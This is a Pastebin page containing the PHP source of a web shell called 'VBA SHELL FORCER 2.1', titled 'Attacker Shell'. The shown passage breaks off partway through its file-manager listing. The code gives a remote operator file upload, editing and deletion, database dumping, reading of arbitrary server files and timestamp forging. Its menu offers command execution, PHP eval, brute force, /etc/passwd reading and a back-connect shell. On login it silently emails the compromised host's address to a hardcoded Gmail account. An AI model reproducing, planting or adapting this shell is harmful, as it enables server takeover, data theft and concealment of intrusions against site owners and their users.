1337_Brain

VBA SHELL FORCER - VERSION 2.1

Nov 18th, 2014
573
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 108.16 KB | None | 0 0
  1. <?php
  2. /****************************************\
  3. |*    VBA SHELL FORCER - VERSION 2.1    *|
  4. |*     Edit & Develop by VBATEAM        *|
  5. |*        http://vbateam.net                *|
  6. |*    ==  Hacking & Security  ==        *|
  7. \****************************************/
  8.  
  9. error_reporting(7);
  10. @set_magic_quotes_runtime(0);
  11. ob_start();
  12. $mtime = explode(' ', microtime());
  13. $starttime = $mtime[1] + $mtime[0];
  14. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
  15. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
  16. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  17. define('IS_COM', class_exists('COM') ? 1 : 0 );
  18. define('IS_GPC', get_magic_quotes_gpc());
  19. $dis_func = get_cfg_var('disable_functions');
  20. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
  21. @set_time_limit(0);
  22.  
  23. foreach(array('_GET','_POST') as $_request) {
  24.         foreach($$_request as $_key => $_value) {
  25.                 if ($_key{0} != '_') {
  26.                         if (IS_GPC) {
  27.                                 $_value = s_array($_value);
  28.                         }
  29.                         $$_key = $_value;
  30.                 }
  31.         }
  32. }
  33.  
  34. /*=================  Info Login  ================*/
  35. $admin = array();
  36. $admin['check'] = true;
  37. $admin['pass']  = 'murot'; // Password login
  38. $admin['cookiepre'] = '';
  39. $admin['cookiedomain'] = '';
  40. $admin['cookiepath'] = '/';
  41. $admin['cookielife'] = 86400;
  42. /*===================== End =====================*/
  43.  
  44. if ($charset == 'utf8') {
  45.         header("content-Type: text/html; charset=utf-8");
  46. } elseif ($charset == 'big5') {
  47.         header("content-Type: text/html; charset=big5");
  48. } elseif ($charset == 'gbk') {
  49.         header("content-Type: text/html; charset=gbk");
  50. } elseif ($charset == 'latin1') {
  51.         header("content-Type: text/html; charset=iso-8859-2");
  52. }
  53.  
  54. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  55. $timestamp = time();
  56.  
  57. /*===================== Login =====================*/
  58. if ($action == "logout") {
  59.         scookie('vbapass', '', -86400 * 365);
  60.         p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
  61.         p('<body background=black>');
  62.         exit;
  63. }
  64. if($admin['check']) {
  65.         if ($doing == 'login') {
  66.                 if ($admin['pass'] == $password) {
  67.                         scookie('vbapass', $password);
  68.  
  69. // Function mail Sender to my Email - Please remove this before you using this shell code, Thanks - Fernando - VBATeam
  70. $time_shell = "".date("d/m/Y - H:i:s")."";
  71. $ip_remote = $_SERVER["REMOTE_ADDR"];
  72. $from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
  73. $to_email = 'nadimzobaer@gmail.com';
  74. $server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])."  - ".$_SERVER['HTTP_HOST']."";
  75. $linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
  76. $header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
  77. @mail($to_email, $server_mail, $linkcr, $header);
  78.                         p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
  79.                         p('<body bgcolor=black>
  80. <BR><BR><div align=center><font color=yellow face=tahoma size=2>Hi Master! Wellcomeback  - Please wait...<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>');
  81.                         exit;
  82.                 }
  83.  
  84.         else
  85.         {
  86.         $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
  87. echo $err_mess;
  88.         }}
  89.         if ($_COOKIE['vbapass']) {
  90.                 if ($_COOKIE['vbapass'] != $admin['pass']) {
  91.                         loginpage();
  92.                 }
  93.         } else {
  94.                 loginpage();
  95.         }
  96. }
  97. /*===================== Login =====================*/
  98.  
  99. $errmsg = '';
  100.  
  101. if ($action == 'phpinfo') {
  102.         if (IS_PHPINFO) {
  103.                 phpinfo();
  104.         } else {
  105.                 $errmsg = 'phpinfo() function has non-permissible';
  106.         }
  107. }
  108.  
  109.  
  110. if ($doing == 'downfile' && $thefile) {
  111.         if (!@file_exists($thefile)) {
  112.                 $errmsg = 'The file you want Downloadable was nonexistent';
  113.         } else {
  114.                 $fileinfo = pathinfo($thefile);
  115.                 header('Content-type: application/x-'.$fileinfo['extension']);
  116.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  117.                 header('Content-Length: '.filesize($thefile));
  118.                 @readfile($thefile);
  119.                 exit;
  120.         }
  121. }
  122.  
  123.  
  124. if ($doing == 'backupmysql' && !$saveasfile) {
  125.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  126.         $table = array_flip($table);
  127.         $result = q("SHOW tables");
  128.         if (!$result) p('<h2>'.mysql_error().'</h2>');
  129.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
  130.         header('Content-type: application/unknown');
  131.         header('Content-Disposition: attachment; filename='.$filename);
  132.         $mysqldata = '';
  133.         while ($currow = mysql_fetch_array($result)) {
  134.                 if (isset($table[$currow[0]])) {
  135.                         $mysqldata .= sqldumptable($currow[0]);
  136.                 }
  137.         }
  138.         mysql_close();
  139.         exit;
  140. }
  141.  
  142. // Mysql
  143. if($doing=='mysqldown'){
  144.         if (!$dbname) {
  145.                 $errmsg = 'Please input dbname';
  146.         } else {
  147.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  148.                 if (!file_exists($mysqldlfile)) {
  149.                         $errmsg = 'The file you want Downloadable was nonexistent';
  150.                 } else {
  151.                         $result = q("select load_file('$mysqldlfile');");
  152.                         if(!$result){
  153.                                 q("DROP TABLE IF EXISTS tmp_angel;");
  154.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
  155.                                 //Download SQL
  156.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
  157.                                 $result = q("select content from tmp_angel");
  158.                                 q("DROP TABLE tmp_angel");
  159.                         }
  160.                         $row = @mysql_fetch_array($result);
  161.                         if (!$row) {
  162.                                 $errmsg = 'Load file failed '.mysql_error();
  163.                         } else {
  164.                                 $fileinfo = pathinfo($mysqldlfile);
  165.                                 header('Content-type: application/x-'.$fileinfo['extension']);
  166.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  167.                                 header("Accept-Length: ".strlen($row[0]));
  168.                                 echo $row[0];
  169.                                 exit;
  170.                         }
  171.                 }
  172.         }
  173. }
  174.  
  175. ?>
  176.  
  177. <html>
  178. <head>
  179. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  180. <title><?php echo str_replace('.','','.::[  Attacker Shell ]::.');?></title>
  181. <style type="text/css">
  182. body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
  183.  
  184. a {color: #74A202;text-decoration:none;}
  185. a:hover{color: #f00;text-decoration:underline;}
  186. .alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  187. .alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
  188. .focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  189. .fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  190. .fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
  191. .head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
  192. .head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
  193. .head td span{font-weight:normal;}
  194. form{margin:0;padding:0;}
  195. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  196. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  197. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  198. input, textarea, button
  199. {
  200.         font-size: 9pt;
  201.         color: #ccc;
  202.         font-family: verdana, sans-serif;
  203.         background-color: #202020;
  204.         border-left: 1px solid #74A202;
  205.         border-top: 1px solid #74A202;
  206.         border-right: 1px solid #74A202;
  207.         border-bottom: 1px solid #74A202;
  208. }
  209. select
  210. {
  211.         font-size: 8pt;
  212.         font-weight: normal;
  213.         color: #ccc;
  214.         font-family: verdana, sans-serif;
  215.         background-color: #202020;
  216. }
  217.  
  218. </style>
  219. <script type="text/javascript">
  220. function CheckAll(form) {
  221.         for(var i=0;i<form.elements.length;i++) {
  222.                 var e = form.elements[i];
  223.                 if (e.name != 'chkall')
  224.                 e.checked = form.chkall.checked;
  225.     }
  226. }
  227. function $(id) {
  228.         return document.getElementById(id);
  229. }
  230. function goaction(act){
  231.         $('goaction').action.value=act;
  232.         $('goaction').submit();
  233. }
  234. </script>
  235. </head>
  236. <body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
  237.  
  238.  
  239. <div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
  240.                                 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
  241.                                         <tr>
  242.  
  243.                                                 <td align="center" valign=center>
  244.                                  <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600"  align="center">
  245.                                    Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
  246.                                   </div>
  247.                                 </td>
  248.                                         </tr>
  249.                                 </table>
  250.                          </div>
  251.  
  252.  <script>
  253.  var ld=(document.all);
  254.   var ns4=document.layers;
  255.  var ns6=document.getElementById&&!document.all;
  256.  var ie4=document.all;
  257.   if (ns4)
  258.         ld=document.loading;
  259.  else if (ns6)
  260.         ld=document.getElementById("loading").style;
  261.  else if (ie4)
  262.         ld=document.all.loading.style;
  263.   function init()
  264.  {
  265.  if(ns4){ld.visibility="hidden";}
  266.  else if (ns6||ie4) ld.display="none";
  267.  }
  268.  </script>
  269.  
  270.  
  271.  
  272.  
  273. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  274.         <tr class="head_small">
  275.                 <td  width=100%>
  276.                 <table width=100%><tr class="head_small"><td  width=86px><a title="VN hacker" href="<?php $self;?>"><img src=http://i677.photobucket.com/albums/vv137/cuong3293/iprovn.png height=86 border=0></a></td><td>
  277.                 <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?>  | <a href="http://i-provn.tk" target="_blank"><?php echo str_replace('.','','.::[  VietNam SecurityTeam ]::.');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
  278.  
  279.                 <?php
  280.                 $curl_on = @function_exists('curl_version');
  281.                 $mysql_on = @function_exists('mysql_connect');
  282.                 $mssql_on = @function_exists('mssql_connect');
  283.                 $pg_on = @function_exists('pg_connect');
  284.                 $ora_on = @function_exists('ocilogon');
  285.  
  286. echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
  287. echo "PHP version: <b>".@phpversion()."</b> - ";
  288.                 echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
  289.                 echo "MySQL: <b>";
  290. $mysql_on = @function_exists('mysql_connect');
  291. if($mysql_on){
  292. echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
  293. echo "MSSQL: <b>";
  294. $mssql_on = @function_exists('mssql_connect');
  295. if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
  296. echo "PostgreSQL: <b>";
  297. $pg_on = @function_exists('pg_connect');
  298. if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
  299. echo "Oracle: <b>";
  300. $ora_on = @function_exists('ocilogon');
  301. if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
  302.  
  303. echo "Disable functions : <b>";
  304. if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
  305.  
  306. echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
  307. echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
  308.                 ?>
  309.                 </td></tr></table></td>
  310.  
  311.         </tr>
  312.         <tr class="alt1">
  313.                 <td  width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span>   <br />
  314. --------------------------------------------------------------------------------------<br />
  315.                        
  316.                         <a href="javascript:goaction('file');">File Manager</a> |
  317.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
  318.                         <a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> |
  319.                         <a href="javascript:goaction('shell');">Execute Command</a> |
  320.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
  321.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
  322.  
  323.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
  324.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
  325.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
  326.  
  327.                 </td>
  328.         </tr>
  329. </table>
  330. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  331. <?php
  332.  
  333. formhead(array('name'=>'goaction'));
  334. makehide('action');
  335. formfoot();
  336.  
  337. $errmsg && m($errmsg);
  338.  
  339. // Dir function
  340. !$dir && $dir = '.';
  341. $nowpath = getPath(SA_ROOT, $dir);
  342. if (substr($dir, -1) != '/') {
  343.         $dir = $dir.'/';
  344. }
  345. $uedir = ue($dir);
  346.  
  347. if (!$action || $action == 'file') {
  348.  
  349.         // Non-writeable
  350.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
  351.  
  352.         // Delete dir
  353.         if ($doing == 'deldir' && $thefile) {
  354.                 if (!file_exists($thefile)) {
  355.                         m($thefile.' directory does not exist');
  356.                 } else {
  357.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
  358.                 }
  359.         }
  360.  
  361.         // Create new dir
  362.         elseif ($newdirname) {
  363.                 $mkdirs = $nowpath.$newdirname;
  364.                 if (file_exists($mkdirs)) {
  365.                         m('Directory has already existed');
  366.                 } else {
  367.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
  368.                         @chmod($mkdirs,0777);
  369.                 }
  370.         }
  371.  
  372.         // Upload file
  373.         elseif ($doupfile) {
  374.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
  375.         }
  376.  
  377.         // Edit file
  378.         elseif ($editfilename && $filecontent) {
  379.                 $fp = @fopen($editfilename,'w');
  380.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
  381.                 @fclose($fp);
  382.         }
  383.  
  384.         // Modify
  385.         elseif ($pfile && $newperm) {
  386.                 if (!file_exists($pfile)) {
  387.                         m('The original file does not exist');
  388.                 } else {
  389.                         $newperm = base_convert($newperm,8,10);
  390.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
  391.                 }
  392.         }
  393.  
  394.         // Rename
  395.         elseif ($oldname && $newfilename) {
  396.                 $nname = $nowpath.$newfilename;
  397.                 if (file_exists($nname) || !file_exists($oldname)) {
  398.                         m($nname.' has already existed or original file does not exist');
  399.                 } else {
  400.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
  401.                 }
  402.         }
  403.  
  404.         // Copu
  405.         elseif ($sname && $tofile) {
  406.                 if (file_exists($tofile) || !file_exists($sname)) {
  407.                         m('The goal file has already existed or original file does not exist');
  408.                 } else {
  409.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
  410.                 }
  411.         }
  412.  
  413.         // File exit
  414.         elseif ($curfile && $tarfile) {
  415.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
  416.                         m('The goal file has already existed or original file does not exist');
  417.                 } else {
  418.                         $time = @filemtime($tarfile);
  419.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  420.                 }
  421.         }
  422.  
  423.         // Date
  424.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
  425.                 if (!@file_exists($curfile)) {
  426.                         m(basename($curfile).' does not exist');
  427.                 } else {
  428.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
  429.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  430.                 }
  431.         }
  432.  
  433.         // Download
  434.         elseif($doing == 'downrar') {
  435.                 if ($dl) {
  436.                         $dfiles='';
  437.                         foreach ($dl as $filepath => $value) {
  438.                                 $dfiles.=$filepath.',';
  439.                         }
  440.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
  441.                         $dl=explode(',',$dfiles);
  442.                         $zip=new PHPZip($dl);
  443.                         $code=$zip->out;
  444.                         header('Content-type: application/octet-stream');
  445.                         header('Accept-Ranges: bytes');
  446.                         header('Accept-Length: '.strlen($code));
  447.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
  448.                         echo $code;
  449.                         exit;
  450.                 } else {
  451.                         m('Please select file(s)');
  452.                 }
  453.         }
  454.  
  455.         // Delete file
  456.         elseif($doing == 'delfiles') {
  457.                 if ($dl) {
  458.                         $dfiles='';
  459.                         $succ = $fail = 0;
  460.                         foreach ($dl as $filepath => $value) {
  461.                                 if (@unlink($filepath)) {
  462.                                         $succ++;
  463.                                 } else {
  464.                                         $fail++;
  465.                                 }
  466.                         }
  467.                         m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
  468.                 } else {
  469.                         m('Please select file(s)');
  470.                 }
  471.         }
  472.  
  473.         // Function Newdir
  474.         formhead(array('name'=>'createdir'));
  475.         makehide('newdirname');
  476.         makehide('dir',$nowpath);
  477.         formfoot();
  478.         formhead(array('name'=>'fileperm'));
  479.         makehide('newperm');
  480.         makehide('pfile');
  481.         makehide('dir',$nowpath);
  482.         formfoot();
  483.         formhead(array('name'=>'copyfile'));
  484.         makehide('sname');
  485.         makehide('tofile');
  486.         makehide('dir',$nowpath);
  487.         formfoot();
  488.         formhead(array('name'=>'rename'));
  489.         makehide('oldname');
  490.         makehide('newfilename');
  491.         makehide('dir',$nowpath);
  492.         formfoot();
  493.         formhead(array('name'=>'fileopform'));
  494.         makehide('action');
  495.         makehide('opfile');
  496.         makehide('dir');
  497.         formfoot();
  498.  
  499.         $free = @disk_free_space($nowpath);
  500.         !$free && $free = 0;
  501.         $all = @disk_total_space($nowpath);
  502.         !$all && $all = 0;
  503.         $used = $all-$free;
  504.         $used_percent = @round(100/($all/$free),2);
  505.         p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
  506.  
  507. ?>
  508.  
  509. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  510.   <form action="" method="post" id="godir" name="godir">
  511.   <tr>
  512.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
  513.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
  514.     <td nowrap><input class="bt" value="GO" type="submit"></td>
  515.   </tr>
  516.   </form>
  517.  
  518. </table>
  519. <script type="text/javascript">
  520. function createdir(){
  521.         var newdirname;
  522.         newdirname = prompt('Please input the directory name:', '');
  523.         if (!newdirname) return;
  524.         $('createdir').newdirname.value=newdirname;
  525.         $('createdir').submit();
  526. }
  527. function fileperm(pfile){
  528.         var newperm;
  529.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
  530.         if (!newperm) return;
  531.         $('fileperm').newperm.value=newperm;
  532.         $('fileperm').pfile.value=pfile;
  533.         $('fileperm').submit();
  534. }
  535. function copyfile(sname){
  536.         var tofile;
  537.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
  538.         if (!tofile) return;
  539.         $('copyfile').tofile.value=tofile;
  540.         $('copyfile').sname.value=sname;
  541.         $('copyfile').submit();
  542. }
  543. function rename(oldname){
  544.         var newfilename;
  545.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
  546.         if (!newfilename) return;
  547.         $('rename').newfilename.value=newfilename;
  548.         $('rename').oldname.value=oldname;
  549.         $('rename').submit();
  550. }
  551. function dofile(doing,thefile,m){
  552.         if (m && !confirm(m)) {
  553.                 return;
  554.         }
  555.         $('filelist').doing.value=doing;
  556.         if (thefile){
  557.                 $('filelist').thefile.value=thefile;
  558.         }
  559.         $('filelist').submit();
  560. }
  561. function createfile(nowpath){
  562.         var filename;
  563.         filename = prompt('Please input the file name:', '');
  564.         if (!filename) return;
  565.         opfile('editfile',nowpath + filename,nowpath);
  566. }
  567. function opfile(action,opfile,dir){
  568.         $('fileopform').action.value=action;
  569.         $('fileopform').opfile.value=opfile;
  570.         $('fileopform').dir.value=dir;
  571.         $('fileopform').submit();
  572. }
  573. function godir(dir,view_writable){
  574.         if (view_writable) {
  575.                 $('godir').view_writable.value=1;
  576.         }
  577.         $('godir').dir.value=dir;
  578.         $('godir').submit();
  579. }
  580. </script>
  581.   <?php
  582.         tbhead();
  583.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
  584.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
  585.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
  586.         if ($view_writable) {
  587.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
  588.         } else {
  589.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
  590.         }
  591.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
  592.         if (IS_WIN && IS_COM) {
  593.                 $obj = new COM('scripting.filesystemobject');
  594.                 if ($obj && is_object($obj)) {
  595.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
  596.                         foreach($obj->Drives as $drive) {
  597.                                 if ($drive->DriveType == 2) {
  598.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  599.                                 } else {
  600.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  601.                                 }
  602.                         }
  603.                 }
  604.         }
  605.  
  606.         p('</td></tr></form>');
  607.  
  608.         p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
  609.  
  610.         // Get path
  611.         $dirdata=array();
  612.         $filedata=array();
  613.  
  614.         if ($view_writable) {
  615.                 $dirdata = GetList($nowpath);
  616.         } else {
  617.                 // Open dir
  618.                 $dirs=@opendir($dir);
  619.                 while ($file=@readdir($dirs)) {
  620.                         $filepath=$nowpath.$file;
  621.                         if(@is_dir($filepath)){
  622.                                 $dirdb['filename']=$file;
  623.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  624.                                 $dirdb['dirchmod']=getChmod($filepath);
  625.                                 $dirdb['dirperm']=getPerms($filepath);
  626.                                 $dirdb['fileowner']=getUser($filepath);
  627.                                 $dirdb['dirlink']=$nowpath;
  628.                                 $dirdb['server_link']=$filepath;
  629.                                 $dirdb['client_link']=ue($filepath);
  630.                                 $dirdata[]=$dirdb;
  631.                         } else {
  632.                                 $filedb['filename']=$file;
  633.                                 $filedb['size']=sizecount(@filesize($filepath));
  634.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  635.                                 $filedb['filechmod']=getChmod($filepath);
  636.                                 $filedb['fileperm']=getPerms($filepath);
  637.                                 $filedb['fileowner']=getUser($filepath);
  638.                                 $filedb['dirlink']=$nowpath;
  639.                                 $filedb['server_link']=$filepath;
  640.                                 $filedb['client_link']=ue($filepath);
  641.                                 $filedata[]=$filedb;
  642.                         }
  643.                 }// while
  644.                 unset($dirdb);
  645.                 unset($filedb);
  646.                 @closedir($dirs);
  647.         }
  648.         @sort($dirdata);
  649.         @sort($filedata);
  650.         $dir_i = '0';
  651.         foreach($dirdata as $key => $dirdb){
  652.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
  653.                         $thisbg = bg();
  654.                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  655.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
  656.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
  657.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
  658.                         p('<td nowrap>--</td>');
  659.                         p('<td nowrap>');
  660.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
  661.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
  662.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
  663.                         p('</tr>');
  664.                         $dir_i++;
  665.                 } else {
  666.                         if($dirdb['filename']=='..') {
  667.                                 p('<tr class=fout>');
  668.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
  669.                                 p('</tr>');
  670.                         }
  671.                 }
  672.         }
  673.  
  674.         p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
  675.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
  676.         makehide('action','file');
  677.         makehide('thefile');
  678.         makehide('doing');
  679.         makehide('dir',$nowpath);
  680.         $file_i = '0';
  681.         foreach($filedata as $key => $filedb){
  682.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
  683.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
  684.                         $thisbg = bg();
  685.                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  686.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
  687.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
  688.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
  689.                         p('<td nowrap>'.$filedb['size'].'</td>');
  690.                         p('<td nowrap>');
  691.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
  692.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
  693.                         p('<td nowrap>');
  694.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
  695.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
  696.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
